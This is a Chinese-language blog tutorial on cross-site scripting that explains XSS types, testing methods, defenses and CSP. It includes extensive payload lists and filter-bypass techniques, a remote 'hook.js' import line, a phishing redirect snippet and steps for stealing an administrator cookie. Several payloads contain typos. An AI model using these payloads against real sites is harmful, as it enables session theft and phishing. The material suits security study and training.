XSS漏洞

XSS漏洞(跨站脚本攻击)

英文名称:cross site scipt

网站设计者(或开发者)对用户内容过滤存在缺陷,导致网站页面篡改或脚本植入。

同源策略:协议一样,网址一样,端口一样。
host子域名和端口,可以实现共享cookie

不做跨域,在子域名不同时,cookie是无法共享的

1、攻击的对象分为两类

1.用户  :获取用户信息(会话 Cookie等各种身份内容)

2.其他用户:为其他的客户端植入木马、广告刷流量、钓鱼、放马挖矿

3.服务器: 获得服务器更高的执行权限、篡改页面、传播蠕虫等。

2、XSS运行原理

3、XSS危害

1.盗取COOKIE并发,(在黑产用的最频繁)
2.获取内网IP
3.获取浏览器保存的明文密码
4.截取网页屏幕
5.获取网页上的键盘记录
6.重定向

攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。

XSS 存在的根本原因是,对URL中的参数,对用户输入提交给 webserve r的内容,没有进行充分的过滤。如果我们能够在 web 程序中,对用户提交的URL中的参数,和提交的所有内容,进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用户的浏览器中执行攻击者自己定制的脚本”。
但是,其实充分而完全的过滤,实际上是无法实现的。因为攻击者有各种各样的神奇的,你完全想象不到的方式来绕过服务器端的过滤,最典型的就是对URL和参数进行各种的编码,比如escape,encodeURI, encodeURIComponent, 16进制,10进制,8进制,来绕过XSS过滤。

4、XSS原理

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
总结后为三点。

①攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。
②诱使受害者打开受到攻击的服务器URL。
③受害者在Web浏览器中打开URL,恶意脚本执行。

5、XSS分类

反射型(非持久):
最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
就是利用get请求,往网页的url中加入特定的参数,欺骗用户执行这个url,后端服务器接收到恶意参数后,给前端用户反应恶意数据


存储型(持久型):
最直接的危害类型,跨站代码存储在服务器(数据库)
通过使用网页的提交功能(如留言板),将代码写入到后端文件或数据库中。
别的用户访问页面时,服务器返回的数据中就包含这些恶意代码

DOM型:
客户端脚本处理逻辑导致的安全问题。
类似反射型,也是构造恶意url参数,但由浏览器直接执行js,可以脱离后端服务器

6、XSS的攻击方式

1、常用的XSS攻击手段和目的有:

①盗用cookie,获取敏感信息。
②利用植入 Flash,通过 crossdomain 权限设置进一步获取更高权限;或者利用 Java 等得到类似的操作。
③利用 iframe、frame、XMLHttpRequest 或 Flash 等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
④利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
⑤在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。
⑥xss钓鱼网站,利用JavaScript脚本直接放用户跳转到钓鱼网站
⑦xss获取键盘记录,xss可以实现键盘操作,但是有局限性,不能跨域。

2、XSS之存储型

持久化,代码存储在服务器中。如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那这些代码将存储到服务器中,用户访问该页面时会触发代码执行。这种XSS比较危险,容易造成蠕虫、盗窃cookie。(与数据库交互)

存储型 XSS 的攻击步骤:

①攻击者将恶意代码提交到目标网站的数据库中。
②用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
③用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

存储型 XSS攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

储存型XSS会把用户输入的数据“储存”在服务器端。这种XSS具有很强的稳定性。持久的XSS危害性大,容易造成蠕虫,因为每当用户打开页面,查看内容时脚本将自动执行。持久型XSS最大的危害在于可能在一个系统中的用户间互相感染,以致整个系统的用户沦陷。能够造成这种危害的脚本我们称之为XSS蠕虫。

3、XSS之反射型

反射型 XSS 的攻击步骤:

①攻击者构造出包含恶意代码的 URL,通过各种办法发送给终端用户(钓鱼)。
②用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
③用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

反射型 XSS漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

反射型XSS只是简单的把用户输入的数据“反射”给浏览器,也就是说需要诱使用户“点击”一个恶意链接,才能攻击成功。漏洞产生的原因是攻击者注入的数据反映在响应中。非持久型XSS攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

4、XSS之DOM型

DOM 型 XSS 的攻击步骤:

①攻击者构造出特殊的 URL,其中包含恶意代码。
②用户打开带有恶意代码的 URL。
③用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

DOM通常代表在html、xhtml和xml中的对象,使用DOM可以允许程序和脚本动态的访问和更新文档的内容、结构和样式。它不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析,所以防范DOM型XSS完全就是前端的责任,必须注意!!!。


#
bom:bowser object module     浏览对象模型
dom: document object module     文档对象模型
bom   window对象包含   document  、  location   、navegator  、 screen  、history 、 frames
全称:Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容,结构、以及样式。
不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Object Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,也属于反射型XSS。

7、XSS的测试技巧和工具

测试方法:

工具扫描:APPscan、awvs、burpsuite、XSSER XSSF

手动测试:Burpsuite、firefox(hackbar)

1)在目标站点上找到输入点,比如查询接口,留言板等;
2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;


第一种情况:可得知输出位置
输入一些敏感字符,例如、"、'、()等等,在提交请求后去查看HTML源代码,看这些输入的字符是否被转义。
在输出这些敏感字符的时候,很有可能程序已经做过了过滤,那么你在寻找这些字符的时候就不是那么容易了,这时候你可以直接输入XXSER<>"'&,然后在查找源代码的时候直接进行查找XXSER或许比较方便一些。


第二种情况:无法得知输出位置
非常多的Web应用程序源代码是不对外开放的,这时在进行测试XSS时就有可能无法得知输入数据到底在何处显示,比如测试某留言本是否存在XSS,那么在留言之后,你必须要经过管理员的审核才能进行显示,这时你是无法得知,你输入的数据在后台管理页面处于何种状态。

万能XSS漏洞payload

"/></textarea><script>alert(1)</script>

三种弹窗函数

仅弹窗:alart
弹输入框:prompt
弹是否:confirm

XSS辅助工具

beef:https://beefproject.com/
一个xss攻击框架,参考https://www.freebuf.com/articles/web/175755.html

xssor:http://xssor.io
免费的JavaScript在线入侵工具

xss平台:
在线的xss平台,有很多,自行搜索

ie tester:http://www.ietester.cn/
可以模拟测试各种版本的老IE浏览器

8、二、三种xss实战

A、 存储型xss实战

存储型xss原理
攻击者在页面上插入xss代码,服务端将数据插入数据库,当用户访问到xss漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致xss代码执行,达到攻击效果

可能存在存储型xss的功能点
在页面上所有可以输入并保存数据的地方,都可以尝试使用xss代码进行测试

存储型xss漏洞的挖掘方法
尝试在输入的内容中加入如下字段,如果保存后的页面,打开弹出提示xss提示框,就表示有xss漏洞
<img scr=x onerror=alert(1)>
  1. 存储型xss部分场景修复
    使用过滤函数,过滤输入内容中的html标签等

B、反射型xss

  1. 反射型xss原理
    攻击者在url中插入xss代码,服务端将url中的xss代码输出到页面上,攻击者将带有xss代码的url,想办法欺骗用户点击,用户打开后收到xss攻击

  2. 可能存在反射型xss的功能
    url地址中带有参数的网页,是重点关注的区域、页面的搜索框是重中之重

  3. 反射型xss漏洞挖掘方法
    以某页面的搜索功能为例,在搜索框中输入任意字符,如“aaaaa”,然后在浏览器源码中搜索输入的 关键字,找到关键字所在的标签,使用闭合标签的方式闭合掉标签,并插入xss代码,看是否会有xss漏洞,如:

    url=xxxx/search.html?ks=aaaa
    关键字在title中,如<title>aaaa</title>,可以将url如下闭合并测试xss
    url=xxxx/search.html?ks=aaaa</title><script>alert(1)</script>
    
    关键字在imput中,如<input placeholder="搜索" type="texg" name="ks" value="aaaa">,可以如下闭合
    url=xxxx/search.html?ks=aaaa"<script>alert(1);</script>
    
  4. 反射型xss部分场景的修复
    使用函数转义输入内容中的html代码

C、DOM型xss

攻击者在url中插入xss代码,前端页面直接从url中获取xss代码输出到页面上,攻击者将带有xss代码的url,想办法欺骗用户点击,用户打开后收到xss攻击
其他和反射型类似(略)

9、三、XSS的防御策略:

只要有输入数据的地方,就可能存在 XSS 危险。永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

XSS防御的总体思路是: 对输入进行过滤,对输出进行编码

  1. httpOnly:在 cookie 中设置 HttpOnly 属性后,js脚本将无法读取到 cookie 信息。
  2. 输入过滤:一般是用于对于输入格式的检查,例如:邮箱,电话号码,用户名,密码……等,按照规定的格式输入。
    不仅仅是前端负责,后端也要做相同的过滤检查。因为攻击者完全可以绕过正常的输入流程,直接利用相关接口向服务器发送设置。
  3. 转义 HTML:如果拼接 HTML 是必要的,就需要对于url中的引号,尖括号,斜杠进行转义,但这还不是很完善.想对 HTML 模板各处插入点进行充分的转义,就需要采用合适的转义库。
    例如:·htmlspecialchars()·函数把一些预定义的字符转换为 HTML 实体
#预定义的字符是:      
& (和号)   成为 &amp         
" (双引号) 成为 &quot           
’ (单引号) 成为 &#039                     
< (小于)   成为 &lt                    
> (大于)   成为 &gt

4.白名单:对于显示富文本来说,不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。
这种情况通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。

10、XSS在线测试平台

1、https://xss.yt/

2、https://www.xssye.com/auth/login

3、https://xss9.com/

11、XSS类型分类与原理

1、反射型XSS漏洞(非持久型):

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面,多数情况下用来盗取用户的Cookie信息。

原理:
常见构造恶意URL地址,将恶意的URL链接发送给用户。当用户访问链接时,会向服务器发送一个请求来提交带有恶意代码的链接。
特点:
一次性攻击(非持久型),用户点一次,攻击一次。往往只能单个用户攻击一次。
一般会通过伪装URL传递。地址缩短:https://bitly.com
危害性相对较小:由于反射型XSS攻击需要满足URL传递和主动触发两个条件,很难形成有规模的攻击。

  • 黑客挖掘到网站的反射型XSS漏洞,构造反射XSS URL。利用自己公网服务制作钓鱼网站或Cookie获取恶意网站,将制作好的URL或伪链发送给普通用户。
  • 普通用户被诱导点击URL,用户将HTTP请求发送给正常服务器。
  • 服务器收到HTTP请求后,将XSS恶意代码取出拼接到URL地址上并返回资源到用户浏览器上
  • 用户浏览器解析网页中恶意的XSS代码,向恶意服务器发送个人信息,例如:真实IP地址、Cookie等敏感信息等。
  • 黑客访问自己搭建的恶意服务器,获得受海者的信息,达到目的。

XSS

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

出现dom xss的关键语句

document.referer 属性
window.name 属性
location 属性
innerHTML属性
document.write 属性

11、反射型 XSS与DOM型XSS的区别?

1、DOM型依赖于标签,DOM型是所有的HTML标签,通过标签去调用,并不是说用<script></script>

2、反射型XSS会将参数发送给服务器==>拼接HTML==》返回给浏览器渲染,dom型不发送数据包。

12、XSS实战与防御

dedeCMS_V5.7
https://pan.baidu.com/s/1bprjPx1密码:mwdq
https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS/

phpmywind5.3 存储型xss,编辑后出发
http://phpmywind.com/downloads/PHPMyWind_5.3.zip
http://0day5.com/archives/4033

yiqicms1.9 存储型xss,两次提交让过防护
http://www.yiqicms.com/article/download.html
https://www.seebug.org/vuldb/ssvid-89295

案例:

1、利用XSS获取管理员的cookie:

第一步:进入https://xss9.com/测试平台

第二步:新建项目

第三步:将下一步这代码,输入到内容中

第四步:当管理员,刷新留言板的时候,即可获得cookie

第五步:将cookie填入到Cookie-Editor中

第六步:刷新页面,或者重新回到主页面,再登录

用Docker搭建xss测试平台:

第一步:拉取镜像

docker pull daocloud.io/library/mysql:5.6

第二步:运行mysql服务,密码为root,端口号为3306

docker run --name mysqlserver -e MYSQL_ROOT_PASSWORD=root -d -i -p 3306:3306 daocloud.io/library/mysql:5.6

第三步:搭建xss测试平台,拉取镜像

docker pull daxia/websafe

第四步:运行容器

docker run --name xssPlatform_test --link mysqlserver:db -d -i -p 8888:80 daxia/websafe:latest

第五步:修改容器文件

进入容器
docker exec -it [镜像名] /bin/bash

vim /etc/nginx/conf.d/xssplatform.conf
server_name  xss.mytest;

第六步:修改物理机hosts文件

windows中的ip地址    xss.mytest
10.0.0.141 xss.mytest

第七步:启动nginx和php服务

docker exec xssPlatform_test zsh -c "php /root/start.php"

第八步:

windows主机访问http://xss.mytest:8888/index.php就是访问xss测试平台

windows主机访问

13、XSS绕过技巧

1)对前端的输入字符数量限制

可以尝试进行抓包重发或者修改前端的HTML中的长度限制。

2)后台对输入的内容进行正则匹配来过滤输入

对于这样的过滤可以考虑大小写混合输入的方法。

<sCRipT>alert('你打篮球像boy')</sCrIPt>

3)后台对输入的内容进行替换

采用拼拼凑的输入方法。

<sc<script>ript>alert('你打篮球像boy')</scr<script>ipt>

4)使用注释来干扰后台对输入内容的识别。

payload:<sc<!--test-->ript>alert('你打篮球像boy')</scr<!--tshauie-->ipt>

5)编码

思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)

例1:一次编码案例

#使用事件属性onerror()的原始payload: 
<img src=# onerror=alert('yangshuang')"/>

#使用HTML_ENTITY编码后的payload:
<a src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

例2:多次编码案例解析如下编码

#原始payload

<a herf="javascrips:alert(XSS)">  </a>
#使用unicode的UTF-16编码alert这个字符
<a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)">  </a>
#再用url编码alert的中间结果
<a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)">  </a>
#最后用html实体编码,再编码整个payload
太长了,略

6)htmlspecialchars()函数绕过:

#该函数的语法:
htmlspecialchars(string,flags,character-set,double_encode)
#可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
#预定义的字符是:      
& (和号)   成为 &amp         
" (双引号) 成为 &quot           
’ (单引号) 成为 &#039                     
< (小于)   成为 &lt                    
> (大于)   成为 &gt

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

# 默认配置下,可使用以下语句绕过:  
q' onclick='alert(111)'

7) href 绕过:

当输入的值在 a 标签 herf 里

payload: javascript:alert(1111) 

直接代入 a 标签 herf 里面,一样可以绕过 htmlspecialchars()函数

8)xss之js输出绕过:

当目标是用JavaScript脚本输出的,只需闭合原有的表情即可插入代码

payload:<script> $ms='          11111111'</script><script>alert(1111)</script> ;

9)标签绕过

当输入< script >alert(XSS);</ script >没有反应的时候
可以再前边加上<svg>,
<svg><script>alert(XSS);</script>

当浏览器解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。

标签对应的绕过

input


<input onfocus=alert(1)>
<input onfocus=alert("1")>
<input onblur=alert(1) autofocus><input autofocus>竞争焦点
<input onfocus="alert(1);" autofocus>竞争焦点

script

<script>alert(1)</script>
<script>alert("1")</script>

IMG

< img src=1 onerror=alert(1) >
< img src=1 onerror=alert("1") >

svg

<svg onload=alert(1);>

select选择器

<select onfocus=alert(1);>
<select onfocus=alert(1) autofocus;>

iframe内联框架

<iframe onload=alert(1);></iframe>

vodeo视频

<video><source onerror=alert(1)>

audio声频

<audio src=x onerror=alert(1);>

body

<body onload=alert(1);>
<body onscroll=alert(1);><input autofocus>      元素滚动条

textarea文本域

<textarea onfocus=alert(1); autofocus>

</textarea>

keygen标签(仅限于火狐)

<kegen autofocus onfocus=alert(1)>
<link rel=import href="http://10.0.0.141/hook.js">

利用JavaScript为协议

a

<a href="javascript:alert(1);"></a>

iframe

<iframe src=javascript:alert(1);></iframe>

form

<form action="javascript:alert(1)"><input type=submit>

绕过

空格过滤可以用 / 来代替空格

<script>alert(/xss/)</script>    #可以当成引号来用
<img/src="x"/onerror=alert(1);>

绕过引号,可以使用反引号代替引号

<script>alert("xss")</script> =====>   <script>alert(`xss`)</script> 

大小写绕过

双写绕过

字符串拼接绕过

#利用eval函数,计算JavaScript字符串,并把它作为脚本执行

<img src="x" onerror="a"='aler'; b='t'; c='(1)'; eval(a+b+c)><img>

<img src="x" onerror="a"=`alert`; b=`t`;c=`(`xss`)`;eval(a+b+c)>

利用TOP

<script>top[|"a"+"lert"](`xss`);</script>

字典:

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

https://github.com/payloadbox/xss-payload-list

钓鱼:

<script>window.locathion.href="http://钓鱼页面"</script>

源码:

https://github.com/h1ck0r/Flash-Pop

CSP

csp内容安全策略。可以通过http头信息或meta元素定义。

CSP有三类:

Content-Security-Policy(Google Chrome)

X-Content-Security-Policy(Firefox)

X-WebKit-CSP(WebKit-based browsers, e.g. Safari)

面试常问题:

1、dom型和反射型区别

2、如何防御?

使用同源策略,过滤器,CSP(定义哪些资源可以被页面加载),设置Cookie的HttpOnly属性为true,在JS的输出点用\对特殊字符进行过滤

posted @ 2022-11-28 18:13  rongya  阅读(471)  评论(0)    收藏  举报